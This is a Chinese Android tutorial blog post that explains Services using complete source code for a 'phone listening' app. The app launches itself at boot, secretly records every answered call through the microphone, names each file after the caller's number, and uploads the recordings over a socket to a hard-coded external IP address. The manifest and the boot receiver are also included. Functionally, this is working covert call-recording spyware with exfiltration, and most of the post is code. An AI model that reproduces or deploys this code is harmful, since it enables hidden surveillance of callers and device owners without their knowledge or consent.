您的位置:首页 > 移动开发 > Android开发

Android之服务Service---电话监听

2011-12-13 13:03 429 查看
Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,如下:

第一步:继承Service类
public class SMSService extends Service { }
第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:
<service android:name=".SMSService" />
服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。 采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。

代码如下:

package cn.itcast.phone;

import java.io.File;

import java.io.OutputStream;

import java.io.PushbackInputStream;

import java.io.RandomAccessFile;

import java.net.Socket;

import cn.itcast.utils.StreamTool;

import android.app.Service;

import android.content.Context;

import android.content.Intent;

import android.media.MediaRecorder;

import android.os.IBinder;

import android.telephony.PhoneStateListener;

import android.telephony.TelephonyManager;

import android.util.Log;

public class PhoneListenService extends Service {

private static final String TAG = "PhoneListenService";

@Override

public void onCreate() {

TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);

Log.i(TAG, "service created");

super.onCreate();

}

@Override

public void onDestroy() {//清空缓存目录下的所有文件

File[] files = getCacheDir().listFiles();

if(files!=null){

for(File f: files){

f.delete();

}

}

Log.i(TAG, "service destroy");

super.onDestroy();

}

private class TelListener extends PhoneStateListener{

private MediaRecorder recorder;//录音

private String mobile;

private File audioFile;

private boolean record;

@Override

public void onCallStateChanged(int state, String incomingNumber) {

try {

switch (state){

case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */

if(record){

recorder.stop();//停止刻录

recorder.release();

record = false;

new Thread(new UploadTask()).start();//为了避免Service被上传线程占用,新开一个线程用来处理上传操作!!!!

Log.i(TAG, "start upload file");

}

break;

case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */

Log.i(TAG, "OFFHOOK:"+ mobile);

recorder = new MediaRecorder();

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音

recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式

audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");

recorder.setOutputFile(audioFile.getAbsolutePath());

recorder.prepare();//预期准备

recorder.start(); //开始刻录

record = true;

break;

case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */

Log.i(TAG, "incomingNumber:"+ incomingNumber);

mobile = incomingNumber;

break;

default:

break;

}

} catch (Exception e) {

Log.e(TAG, e.toString());

}

super.onCallStateChanged(state, incomingNumber);

}

private final class UploadTask implements Runnable{

@Override

public void run() {

try {

Socket socket = new Socket("220.113.15.71", 7878);

OutputStream outStream = socket.getOutputStream();

String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";

outStream.write(head.getBytes());

PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());

String response = StreamTool.readLine(inStream);

String[] items = response.split(";");

String position = items[1].substring(items[1].indexOf("=")+1);

RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");

fileOutStream.seek(Integer.valueOf(position));

byte[] buffer = new byte[1024];

int len = -1;

while( (len = fileOutStream.read(buffer)) != -1){

outStream.write(buffer, 0, len);

}

fileOutStream.close();

outStream.close();

inStream.close();

socket.close();

audioFile.delete();

} catch (Exception e) {

Log.e(TAG, e.toString());

}

}

}

}

@Override

public IBinder onBind(Intent intent) {

// TODO Auto-generated method stub

return null;

}

}

此外,服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。那电话来了怎么开始监听电话的服务呢?那就需要建立一个广播接受者,当开始运行的时候就启动服务,这样子就可以对手机电话进行监听了!
代码:

package cn.itcast.phone;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

@Override

public void onReceive(Context context, Intent intent) {

Intent service = new Intent(context, PhoneListenService.class);

context.startService(service);

}

}

配置文件:

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

package="cn.itcast.phone"

android:versionCode="1"

android:versionName="1.0">

<application android:icon="@drawable/icon" android:label="@string/app_name">

<service android:name=".PhoneListenService" />

<receiver android:name=".BootBroadcastReceiver">

<intent-filter>

<action android:name="android.intent.action.BOOT_COMPLETED"/>

</intent-filter>

</receiver>

</application>

<uses-sdk android:minSdkVersion="7" />

<uses-permission android:name="android.permission.RECORD_AUDIO"/>

<!-- 访问网络的权限 -->

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

</manifest>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: